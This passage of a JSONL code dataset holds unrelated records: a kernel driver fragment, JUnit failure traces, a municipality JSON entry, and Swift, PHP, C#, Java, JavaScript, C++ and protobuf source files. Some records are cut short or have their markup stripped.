sk_buff *skb)\n{\n\tint len = skb->len;\n\tunsigned long flags;\n\n\tspin_lock_irqsave(&bcs->cs->lock, flags);\n\tif (!bcs->cs->connected) {\n\t\tspin_unlock_irqrestore(&bcs->cs->lock, flags);\n\t\treturn -ENODEV;\n\t}\n\n\tskb_queue_tail(&bcs->squeue, skb);\n\tgig_dbg(DEBUG_ISO, \"%s: skb queued, qlen=%d\",\n\t\t__func__, skb_queue_len(&bcs->squeue));\n\n\t/* tasklet submits URB if necessary */\n\ttasklet_schedule(&bcs->hw.bas->sent_tasklet);\n\tspin_unlock_irqrestore(&bcs->cs->lock, flags);\n\n\treturn len;\t/* ok so far */\n}\n"} +{"text": "--- org.apache.commons.lang3.math.FractionTest::testReducedFactory_int_int\njunit.framework.AssertionFailedError: expected:<-1073741824> but was:<-2147483648>\n\tat junit.framework.Assert.fail(Assert.java:57)\n\tat junit.framework.Assert.failNotEquals(Assert.java:329)\n\tat junit.framework.Assert.assertEquals(Assert.java:78)\n\tat junit.framework.Assert.assertEquals(Assert.java:234)\n\tat junit.framework.Assert.assertEquals(Assert.java:241)\n\tat junit.framework.TestCase.assertEquals(TestCase.java:409)\n\tat org.apache.commons.lang3.math.FractionTest.testReducedFactory_int_int(FractionTest.java:336)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\n\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n\tat java.lang.reflect.Method.invoke(Method.java:498)\n\tat junit.framework.TestCase.runTest(TestCase.java:176)\n\tat junit.framework.TestCase.runBare(TestCase.java:141)\n\tat junit.framework.TestResult$1.protect(TestResult.java:122)\n\tat junit.framework.TestResult.runProtected(TestResult.java:142)\n\tat junit.framework.TestResult.run(TestResult.java:125)\n\tat junit.framework.TestCase.run(TestCase.java:129)\n\tat junit.framework.TestSuite.runTest(TestSuite.java:255)\n\tat junit.framework.TestSuite.run(TestSuite.java:250)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTestRunner.run(JUnitTestRunner.java:520)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.executeInVM(JUnitTask.java:1484)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute(JUnitTask.java:872)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.executeOrQueue(JUnitTask.java:1972)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute1(JUnitTask.java:824)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute(JUnitTask.java:2277)\n\tat org.apache.tools.ant.UnknownElement.execute(UnknownElement.java:291)\n\tat sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source)\n\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n\tat java.lang.reflect.Method.invoke(Method.java:498)\n\tat org.apache.tools.ant.dispatch.DispatchUtils.execute(DispatchUtils.java:106)\n\tat org.apache.tools.ant.Task.perform(Task.java:348)\n\tat org.apache.tools.ant.Target.execute(Target.java:392)\n\tat org.apache.tools.ant.Target.performTasks(Target.java:413)\n\tat org.apache.tools.ant.Project.executeSortedTargets(Project.java:1399)\n\tat org.apache.tools.ant.Project.executeTarget(Project.java:1368)\n\tat org.apache.tools.ant.helper.DefaultExecutor.executeTargets(DefaultExecutor.java:41)\n\tat org.apache.tools.ant.Project.executeTargets(Project.java:1251)\n\tat org.apache.tools.ant.Main.runBuild(Main.java:811)\n\tat org.apache.tools.ant.Main.startAnt(Main.java:217)\n\tat org.apache.tools.ant.launch.Launcher.run(Launcher.java:280)\n\tat org.apache.tools.ant.launch.Launcher.main(Launcher.java:109)\n--- org.apache.commons.lang3.math.FractionTest::testReduce\njunit.framework.AssertionFailedError: expected:<-1073741824> but was:<-2147483648>\n\tat junit.framework.Assert.fail(Assert.java:57)\n\tat junit.framework.Assert.failNotEquals(Assert.java:329)\n\tat junit.framework.Assert.assertEquals(Assert.java:78)\n\tat junit.framework.Assert.assertEquals(Assert.java:234)\n\tat junit.framework.Assert.assertEquals(Assert.java:241)\n\tat junit.framework.TestCase.assertEquals(TestCase.java:409)\n\tat org.apache.commons.lang3.math.FractionTest.testReduce(FractionTest.java:654)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\n\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n\tat java.lang.reflect.Method.invoke(Method.java:498)\n\tat junit.framework.TestCase.runTest(TestCase.java:176)\n\tat junit.framework.TestCase.runBare(TestCase.java:141)\n\tat junit.framework.TestResult$1.protect(TestResult.java:122)\n\tat junit.framework.TestResult.runProtected(TestResult.java:142)\n\tat junit.framework.TestResult.run(TestResult.java:125)\n\tat junit.framework.TestCase.run(TestCase.java:129)\n\tat junit.framework.TestSuite.runTest(TestSuite.java:255)\n\tat junit.framework.TestSuite.run(TestSuite.java:250)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTestRunner.run(JUnitTestRunner.java:520)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.executeInVM(JUnitTask.java:1484)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute(JUnitTask.java:872)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.executeOrQueue(JUnitTask.java:1972)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute1(JUnitTask.java:824)\n\tat org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute(JUnitTask.java:2277)\n\tat org.apache.tools.ant.UnknownElement.execute(UnknownElement.java:291)\n\tat sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source)\n\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n\tat java.lang.reflect.Method.invoke(Method.java:498)\n\tat org.apache.tools.ant.dispatch.DispatchUtils.execute(DispatchUtils.java:106)\n\tat org.apache.tools.ant.Task.perform(Task.java:348)\n\tat org.apache.tools.ant.Target.execute(Target.java:392)\n\tat org.apache.tools.ant.Target.performTasks(Target.java:413)\n\tat org.apache.tools.ant.Project.executeSortedTargets(Project.java:1399)\n\tat org.apache.tools.ant.Project.executeTarget(Project.java:1368)\n\tat org.apache.tools.ant.helper.DefaultExecutor.executeTargets(DefaultExecutor.java:41)\n\tat org.apache.tools.ant.Project.executeTargets(Project.java:1251)\n\tat org.apache.tools.ant.Main.runBuild(Main.java:811)\n\tat org.apache.tools.ant.Main.startAnt(Main.java:217)\n\tat org.apache.tools.ant.launch.Launcher.run(Launcher.java:280)\n\tat org.apache.tools.ant.launch.Launcher.main(Launcher.java:109)\n"} +{"text": "{\n\t\"nome\": \"San Pietro di Feletto\",\n\t\"codice\": \"026073\",\n\t\"zona\": {\n\t\t\"codice\": \"2\",\n\t\t\"nome\": \"Nord-est\"\n\t},\n\t\"regione\": {\n\t\t\"codice\": \"05\",\n\t\t\"nome\": \"Veneto\"\n\t},\n\t\"provincia\": {\n\t\t\"codice\": \"026\",\n\t\t\"nome\": \"Treviso\"\n\t},\n\t\"sigla\": \"TV\",\n\t\"codiceCatastale\": \"I103\",\n\t\"cap\": [\n\t\t\"31020\"\n\t],\n\t\"popolazione\": 5355\n}\n"} +{"text": "\n\n\n\n"} +{"text": "//\n// RoomHistoryRequest.swift\n// Rocket.Chat\n//\n// Created by Matheus Cardoso on 12/26/18.\n// Copyright © 2018 Rocket.Chat. All rights reserved.\n//\n\nimport SwiftyJSON\nimport Foundation\n\nfileprivate extension SubscriptionType {\n var path: String {\n switch self {\n case .channel:\n return \"/api/v1/channels.history\"\n case .group:\n return \"/api/v1/groups.history\"\n case .directMessage:\n return \"/api/v1/dm.history\"\n }\n }\n}\n\nfileprivate extension String {\n mutating func appendIfNotNil(_ stringConvertible: T?, transform: ((T) -> String)?) {\n if let stringConvertible = stringConvertible {\n self += transform?(stringConvertible) ?? stringConvertible.description\n }\n }\n}\n\nclass RoomHistoryRequest: APIRequest {\n typealias APIResourceType = RoomHistoryResource\n\n var path: String {\n return roomType.path\n }\n\n var query: String?\n\n let roomType: SubscriptionType\n let roomId: String?\n let latest: Date?\n let oldest: Date?\n let inclusive: Bool?\n let count: Int?\n let unreads: Bool?\n\n init(\n roomType: SubscriptionType,\n roomId: String,\n latest: Date? = nil,\n oldest: Date? = nil,\n inclusive: Bool? = nil,\n count: Int? = nil,\n unreads: Bool? = nil\n ) {\n self.roomType = roomType\n self.roomId = roomId\n self.latest = latest\n self.oldest = oldest\n self.inclusive = inclusive\n self.count = count\n self.unreads = unreads\n\n var query = \"roomId=\\(roomId)\"\n\n let timeZone = TimeZone(abbreviation: \"UTC\")\n\n query.appendIfNotNil(latest) {\n \"&latest=\\($0.formatted(Date.apiDateFormat, timeZone: timeZone))\"\n }\n\n query.appendIfNotNil(oldest) {\n \"&oldest=\\($0.formatted(Date.apiDateFormat, timeZone: timeZone))\"\n }\n\n query.appendIfNotNil(inclusive) { \"&inclusive=\\($0)\" }\n query.appendIfNotNil(count) { \"&count=\\($0)\" }\n query.appendIfNotNil(unreads) { \"&unreads=\\($0)\" }\n\n self.query = query\n }\n}\n\nclass RoomHistoryResource: APIResource {\n var success: Bool? {\n return raw?[\"success\"].bool\n }\n}\n"} +{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Symfony\\Component\\Translation\\Writer;\n\nuse Symfony\\Component\\Translation\\MessageCatalogue;\nuse Symfony\\Component\\Translation\\Dumper\\DumperInterface;\n\n/**\n * TranslationWriter writes translation messages.\n *\n * @author Michel Salib \n */\nclass TranslationWriter\n{\n /**\n * Dumpers used for export.\n *\n * @var array\n */\n private $dumpers = array();\n\n /**\n * Adds a dumper to the writer.\n *\n * @param string $format The format of the dumper\n * @param DumperInterface $dumper The dumper\n */\n public function addDumper($format, DumperInterface $dumper)\n {\n $this->dumpers[$format] = $dumper;\n }\n\n /**\n * Disables dumper backup.\n */\n public function disableBackup()\n {\n foreach ($this->dumpers as $dumper) {\n $dumper->setBackup(false);\n }\n }\n\n /**\n * Obtains the list of supported formats.\n *\n * @return array\n */\n public function getFormats()\n {\n return array_keys($this->dumpers);\n }\n\n /**\n * Writes translation from the catalogue according to the selected format.\n *\n * @param MessageCatalogue $catalogue The message catalogue to dump\n * @param string $format The format to use to dump the messages\n * @param array $options Options that are passed to the dumper\n *\n * @throws \\InvalidArgumentException\n */\n public function writeTranslations(MessageCatalogue $catalogue, $format, $options = array())\n {\n if (!isset($this->dumpers[$format])) {\n throw new \\InvalidArgumentException(sprintf('There is no dumper associated with format \"%s\".', $format));\n }\n\n // get the right dumper\n $dumper = $this->dumpers[$format];\n\n if (isset($options['path']) && !is_dir($options['path'])) {\n mkdir($options['path'], 0777, true);\n }\n\n // save\n $dumper->dump($catalogue, $options);\n }\n}\n"} +{"text": "/*\n\nThis file is part of the iText (R) project.\nCopyright (c) 1998-2020 iText Group NV\nAuthors: Bruno Lowagie, Paulo Soares, et al.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU Affero General Public License version 3\nas published by the Free Software Foundation with the addition of the\nfollowing permission added to Section 15 as permitted in Section 7(a):\nFOR ANY PART OF THE COVERED WORK IN WHICH THE COPYRIGHT IS OWNED BY\nITEXT GROUP. ITEXT GROUP DISCLAIMS THE WARRANTY OF NON INFRINGEMENT\nOF THIRD PARTY RIGHTS\n\nThis program is distributed in the hope that it will be useful, but\nWITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\nor FITNESS FOR A PARTICULAR PURPOSE.\nSee the GNU Affero General Public License for more details.\nYou should have received a copy of the GNU Affero General Public License\nalong with this program; if not, see http://www.gnu.org/licenses or write to\nthe Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\nBoston, MA, 02110-1301 USA, or download the license from the following URL:\nhttp://itextpdf.com/terms-of-use/\n\nThe interactive user interfaces in modified source and object code versions\nof this program must display Appropriate Legal Notices, as required under\nSection 5 of the GNU Affero General Public License.\n\nIn accordance with Section 7(b) of the GNU Affero General Public License,\na covered work must retain the producer line in every PDF that is created\nor manipulated using iText.\n\nYou can be released from the requirements of the license by purchasing\na commercial license. Buying such a license is mandatory as soon as you\ndevelop commercial activities involving the iText software without\ndisclosing the source code of your own applications.\nThese activities include: offering paid services to customers as an ASP,\nserving PDFs on the fly in a web application, shipping iText with a closed\nsource product.\n\nFor more information, please contact iText Software Corp. at this\naddress: sales@itextpdf.com\n*/\nnamespace iText.Kernel.Pdf.Canvas {\n /// A container for constants defined in the PDF specification (ISO 32000-1).\n public class PdfCanvasConstants {\n private PdfCanvasConstants() {\n }\n\n // This private constructor will prevent the instantiation of this class\n /// \n /// The text rendering mode determines whether showing text causes glyph\n /// outlines to be stroked, filled, used as a clipping boundary, or some\n /// combination of the three.\n /// \n /// \n /// The text rendering mode determines whether showing text causes glyph\n /// outlines to be stroked, filled, used as a clipping boundary, or some\n /// combination of the three. Stroking, filling, and clipping have the same\n /// effects for a text object as they do for a path object, although they are\n /// specified in an entirely different way.\n /// If the text rendering mode calls for filling, the current nonstroking\n /// color in the graphics state is used; if it calls for stroking, the\n /// current stroking color is used.\n /// All documentation for this class is taken from ISO 32000-1, section 9.3.6\n /// \"Text Rendering Mode\".\n /// \n public sealed class TextRenderingMode {\n private TextRenderingMode() {\n }\n\n /// Fill text\n public const int FILL = 0;\n\n /// Stroke text, providing the outline of the glyphs\n public const int STROKE = 1;\n\n /// Fill and stroke text\n public const int FILL_STROKE = 2;\n\n /// Neither fill nor stroke, i.e. render invisibly\n public const int INVISIBLE = 3;\n\n /// Fill text and add to path for clipping\n public const int FILL_CLIP = 4;\n\n /// Stroke text and add to path for clipping\n public const int STROKE_CLIP = 5;\n\n /// Fill, then stroke text and add to path for clipping\n public const int FILL_STROKE_CLIP = 6;\n\n /// Add text to path for clipping\n public const int CLIP = 7;\n }\n\n /// \n /// The line cap style specifies the shape to be used at the ends of open\n /// subpaths (and dashes, if any) when they are stroked.\n /// \n /// \n /// The line cap style specifies the shape to be used at the ends of open\n /// subpaths (and dashes, if any) when they are stroked.\n /// All documentation for this class is taken from ISO 32000-1, section\n /// 8.4.3.3 \"Line Cap Style\".\n /// \n public class LineCapStyle {\n private LineCapStyle() {\n }\n\n // This private constructor will prevent the instantiation of this class\n /// The stroke is squared of at the endpoint of the path.\n /// \n /// The stroke is squared of at the endpoint of the path. There is no\n /// projection beyond the end of the path.\n /// \n public const int BUTT = 0;\n\n /// \n /// A semicircular arc with a diameter equal to the line width is drawn\n /// around the endpoint and filled in.\n /// \n public const int ROUND = 1;\n\n /// \n /// The stroke continues beyond the endpoint of the path for a distance\n /// equal to half the line width and is squared off.\n /// \n public const int PROJECTING_SQUARE = 2;\n }\n\n /// \n /// The line join style specifies the shape to be used at the corners of\n /// paths that are stroked.\n /// \n /// \n /// The line join style specifies the shape to be used at the corners of\n /// paths that are stroked. Join styles are significant only at points where\n /// consecutive segments of a path connect at an angle; segments that meet or\n /// intersect fortuitously receive no special treatment.\n /// All documentation for this class is taken from ISO 32000-1, section\n /// 8.4.3.4 \"Line Join Style\".\n /// \n public class LineJoinStyle {\n private LineJoinStyle() {\n }\n\n // This private constructor will prevent the instantiation of this class\n /// \n /// The outer edges of the strokes for the two segments are extended\n /// until they meet at an angle, as in a picture frame.\n /// \n /// \n /// The outer edges of the strokes for the two segments are extended\n /// until they meet at an angle, as in a picture frame. If the segments\n /// meet at too sharp an angle, a bevel join is used instead.\n /// \n public const int MITER = 0;\n\n /// \n /// An arc of a circle with a diameter equal to the line width is drawn\n /// around the point where the two segments meet, connecting the outer\n /// edges of the strokes for the two segments.\n /// \n /// \n /// An arc of a circle with a diameter equal to the line width is drawn\n /// around the point where the two segments meet, connecting the outer\n /// edges of the strokes for the two segments. This pieslice-shaped\n /// figure is filled in, producing a rounded corner.\n /// \n public const int ROUND = 1;\n\n /// \n /// The two segments are finished with butt caps (@see LineCapStyle#BUTT)\n /// and the resulting notch beyond the ends of the segments is filled\n /// with a triangle.\n /// \n public const int BEVEL = 2;\n }\n\n public class FillingRule {\n private FillingRule() {\n }\n\n // This private constructor will prevent the instantiation of this class\n public const int NONZERO_WINDING = 1;\n\n public const int EVEN_ODD = 2;\n }\n }\n}\n"} +{"text": "/* This file is part of the OWL API.\n * The contents of this file are subject to the LGPL License, Version 3.0.\n * Copyright 2014, The University of Manchester\n * \n * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/.\n *\n * Alternatively, the contents of this file may be used under the terms of the Apache License, Version 2.0 in which case, the provisions of the Apache License Version 2.0 are applicable instead of those above.\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */\npackage org.semanticweb.owlapi.vocab;\n\nimport static org.semanticweb.owlapi.model.EntityType.ANNOTATION_PROPERTY;\nimport static org.semanticweb.owlapi.model.EntityType.CLASS;\nimport static org.semanticweb.owlapi.model.EntityType.DATA_PROPERTY;\nimport static org.semanticweb.owlapi.model.EntityType.OBJECT_PROPERTY;\nimport static org.semanticweb.owlapi.util.OWLAPIStreamUtils.asSet;\n\nimport java.util.Set;\nimport java.util.stream.Stream;\nimport org.semanticweb.owlapi.model.EntityType;\nimport org.semanticweb.owlapi.model.HasIRI;\nimport org.semanticweb.owlapi.model.HasPrefixedName;\nimport org.semanticweb.owlapi.model.HasShortForm;\nimport org.semanticweb.owlapi.model.IRI;\nimport org.semanticweb.owlapi.model.OWLAnnotationProperty;\nimport org.semanticweb.owlapi.model.OWLClass;\nimport org.semanticweb.owlapi.model.OWLDataFactory;\nimport org.semanticweb.owlapi.model.OWLDataProperty;\nimport org.semanticweb.owlapi.model.OWLObjectProperty;\nimport org.semanticweb.owlapi.model.providers.AnnotationPropertyProvider;\n\n/**\n * @author Matthew Horridge, The University Of Manchester, Bio-Health Informatics Group\n * @since 2.2.0\n */\npublic enum SKOSVocabulary implements HasShortForm, HasIRI, HasPrefixedName {\n//@formatter:off\n /** BROADMATCH. */ BROADMATCH (\"broadMatch\", OBJECT_PROPERTY), \n /** BROADER. */ BROADER (\"broader\", OBJECT_PROPERTY), \n /** BROADERTRANSITIVE.*/ BROADERTRANSITIVE (\"broaderTransitive\", OBJECT_PROPERTY), \n /** CLOSEMATCH. */ CLOSEMATCH (\"closeMatch\", OBJECT_PROPERTY), \n /** EXACTMATCH. */ EXACTMATCH (\"exactMatch\", OBJECT_PROPERTY), \n /** HASTOPCONCEPT. */ HASTOPCONCEPT (\"hasTopConcept\", OBJECT_PROPERTY), \n /** INSCHEME. */ INSCHEME (\"inScheme\", OBJECT_PROPERTY), \n /** MAPPINGRELATION. */ MAPPINGRELATION (\"mappingRelation\", OBJECT_PROPERTY), \n /** MEMBER. */ MEMBER (\"member\", OBJECT_PROPERTY), \n /** MEMBERLIST. */ MEMBERLIST (\"memberList\", OBJECT_PROPERTY), \n /** NARROWMATCH. */ NARROWMATCH (\"narrowMatch\", OBJECT_PROPERTY), \n /** NARROWER. */ NARROWER (\"narrower\", OBJECT_PROPERTY), \n /** NARROWTRANSITIVE. */ NARROWTRANSITIVE (\"narrowTransitive\", OBJECT_PROPERTY), \n /** RELATED. */ RELATED (\"related\", OBJECT_PROPERTY), \n /** RELATEDMATCH. */ RELATEDMATCH (\"relatedMatch\", OBJECT_PROPERTY), \n /** SEMANTICRELATION. */ SEMANTICRELATION (\"semanticRelation\", OBJECT_PROPERTY), \n /** TOPCONCEPTOF. */ TOPCONCEPTOF (\"topConceptOf\", OBJECT_PROPERTY), \n /** COLLECTION. */ COLLECTION (\"Collection\", CLASS), \n /** CONCEPT. */ CONCEPT (\"Concept\", CLASS), \n /** CONCEPTSCHEME. */ CONCEPTSCHEME (\"ConceptScheme\", CLASS), \n /** ORDEREDCOLLECTION.*/ ORDEREDCOLLECTION (\"OrderedCollection\", CLASS), \n /** TOPCONCEPT. */ TOPCONCEPT (\"TopConcept\", CLASS), \n /** ALTLABEL. */ ALTLABEL (\"altLabel\", ANNOTATION_PROPERTY), \n /** CHANGENOTE. */ CHANGENOTE (\"changeNote\", ANNOTATION_PROPERTY), \n /** DEFINITION. */ DEFINITION (\"definition\", ANNOTATION_PROPERTY), \n /** EDITORIALNOTE. */ EDITORIALNOTE (\"editorialNote\", ANNOTATION_PROPERTY), \n /** EXAMPLE. */ EXAMPLE (\"example\", ANNOTATION_PROPERTY), \n /** HIDDENLABEL. */ HIDDENLABEL (\"hiddenLabel\", ANNOTATION_PROPERTY), \n /** HISTORYNOTE. */ HISTORYNOTE (\"historyNote\", ANNOTATION_PROPERTY), \n /** NOTE. */ NOTE (\"note\", ANNOTATION_PROPERTY), \n /** PREFLABEL. */ PREFLABEL (\"prefLabel\", ANNOTATION_PROPERTY), \n /** SCOPENOTE. */ SCOPENOTE (\"scopeNote\", ANNOTATION_PROPERTY),\n /** @deprecated No longer used */\n @Deprecated\n DOCUMENT(\"Document\", CLASS),\n /** @deprecated No longer used */\n @Deprecated\n IMAGE(\"Image\", CLASS),\n /** @deprecated No longer used */\n @Deprecated\n COLLECTABLEPROPERTY(\"CollectableProperty\", ANNOTATION_PROPERTY),\n /** @deprecated No longer used */\n @Deprecated\n RESOURCE(\"Resource\", CLASS),\n /** @deprecated No longer used */\n @Deprecated\n COMMENT(\"comment\", ANNOTATION_PROPERTY);\n//@formatter:on\n /**\n * All IRIs.\n */\n public static final Set ALL_IRIS = asSet(stream().map(v -> v.getIRI()));\n private final String localName;\n private final IRI iri;\n private final EntityType entityType;\n private final String prefixedName;\n\n SKOSVocabulary(String localname, EntityType entityType) {\n localName = localname;\n prefixedName = Namespaces.SKOS.getPrefixName() + ':' + localname;\n this.entityType = entityType;\n iri = IRI.create(Namespaces.SKOS.toString(), localname);\n }\n\n private static Stream stream() {\n return Stream.of(values());\n }\n\n /**\n * @param dataFactory data factory to use\n * @return set of SKOS annotation properties\n */\n public static Set getAnnotationProperties(\n AnnotationPropertyProvider dataFactory) {\n return asSet(\n stream().filter(v -> v.entityType.equals(ANNOTATION_PROPERTY)).map(v -> dataFactory\n .getOWLAnnotationProperty(v.iri)));\n }\n\n /**\n * @param dataFactory data factory to use\n * @return set of SKOS object properties\n */\n public static Set getObjectProperties(OWLDataFactory dataFactory) {\n return asSet(stream().filter(v -> v.entityType.equals(OBJECT_PROPERTY)).map(v -> dataFactory\n .getOWLObjectProperty(v.iri)));\n }\n\n /**\n * @param dataFactory data factory to use\n * @return set of SKOS data properties\n */\n public static Set getDataProperties(OWLDataFactory dataFactory) {\n return asSet(stream().filter(v -> v.entityType.equals(DATA_PROPERTY))\n .map(v -> dataFactory.getOWLDataProperty(\n v.iri)));\n }\n\n /**\n * @param dataFactory data factory to use\n * @return set of SKOS classes\n */\n public static Set getClasses(OWLDataFactory dataFactory) {\n return asSet(stream().filter(v -> v.entityType.equals(CLASS))\n .map(v -> dataFactory.getOWLClass(v.iri)));\n }\n\n /**\n * @return entity type\n */\n public EntityType getEntityType() {\n return entityType;\n }\n\n /**\n * @return local name\n */\n public String getLocalName() {\n return localName;\n }\n\n @Override\n public IRI getIRI() {\n return iri;\n }\n\n @Override\n public String getShortForm() {\n return localName;\n }\n\n @Override\n public String getPrefixedName() {\n return prefixedName;\n }\n}\n"} +{"text": "<%@ Page Language=\"PHP\" MasterPageFile=\"~/Default.master\" Title=\"Your Name Here | Admin\"\r\n\tCodeFile=\"Albums.aspx.php\" Inherits=\"Admin_Albums_aspx\" %>\r\n\r\n\r\n\r\n\t
\r\n\r\n\t
\r\n\r\n\t\t
\r\n\t\t\t

Add New Album

\r\n\t\t\t

Before uploading your pictures, create an album to organize your pictures.

\r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t

\r\n\t\t\t\t\t\tTitle
\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t

\r\n\t\t\t\t\t

\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t

\r\n\t\t\t\t\r\n\t\t\t\r\n\t\t
\r\n\r\n\t\t
\r\n\t\t\t

Your Albums

\r\n\t\t\t\r\n\t\t\t

The following are the albums\tcurrently on your site. Click Edit to modify the pictures in each \r\n\t\t\talbum. Click Delete to permanently remove the album and all of its pictures

\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tYou currently have no albums.\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\t\t\t\tEval(\"AlbumID\") %>&Size=S\" class=\"photo_198\" style=\"border:4px solid white\" alt=\"Sample Photo from Album Number <%# $this->Eval(\"AlbumID\") %>\" />
\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\t\t<%# $this->Server->HtmlEncode($this->Eval(\"Caption\")) %>
\r\n\t\t\t\t\t\t\t\t<%# $this->Eval(\"Count\") %> Photo(s)\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t
\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\r\n\t\t
\r\n\r\n\t
\r\n\t\r\n\t\r\n\t\r\n\r\n\r\n"} +{"text": "var async = require('async')\nvar request = require('request')\nmodule.exports = function (req, res, next) {\n if (req.method == 'PUT') {\n var getPath = req.protocol + '://' + req.headers['host'] + req.path\n var arr = req.path.split('/')\n // First is empty string always\n // Second is resource name\n // Third is ID\n if (arr.length >= 3) {\n var id = arr[2]\n }\n\n async.waterfall([\n function (callback) {\n request.get(getPath).on('response', function (response) {\n if (response.statusCode != 200) {\n // Item doesn't exist or came back as an error, so POST it instead\n req.method = 'POST'\n // URL needs to change to remove the ID\n req.url = req.url.replace(id, '')\n }\n callback(null)\n });\n },\n function (callback) {\n next()\n }], function (err, results) {\n }\n );\n } else {\n next()\n }\n}"} +{"text": "\n// Copyright Aleksey Gurtovoy 2000-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n//\n\n// Preprocessed version of \"boost/mpl/apply_wrap.hpp\" header\n// -- DO NOT modify by hand!\n\nnamespace boost { namespace mpl {\n\ntemplate<\n typename F\n\n , typename has_apply_ = typename aux::has_apply::type\n\n >\nstruct apply_wrap0\n\n : F::template apply< >\n{\n};\n\ntemplate< typename F >\nstruct apply_wrap0< F,true_ >\n : F::apply\n{\n};\n\ntemplate<\n typename F, typename T1\n\n >\nstruct apply_wrap1\n\n : F::template apply\n{\n};\n\ntemplate<\n typename F, typename T1, typename T2\n\n >\nstruct apply_wrap2\n\n : F::template apply< T1,T2 >\n{\n};\n\ntemplate<\n typename F, typename T1, typename T2, typename T3\n\n >\nstruct apply_wrap3\n\n : F::template apply< T1,T2,T3 >\n{\n};\n\ntemplate<\n typename F, typename T1, typename T2, typename T3, typename T4\n\n >\nstruct apply_wrap4\n\n : F::template apply< T1,T2,T3,T4 >\n{\n};\n\ntemplate<\n typename F, typename T1, typename T2, typename T3, typename T4\n , typename T5\n\n >\nstruct apply_wrap5\n\n : F::template apply< T1,T2,T3,T4,T5 >\n{\n};\n\n}}\n\n"} +{"text": "// Protocol buffer for serializing the DELF feature information.\n\nsyntax = \"proto2\";\n\npackage delf.protos;\n\nimport \"delf/protos/datum.proto\";\n\n// FloatList is the container of tensor values. The tensor values are saved as\n// a list of floating point values.\nmessage DelfFeature {\n optional DatumProto descriptor = 1;\n optional 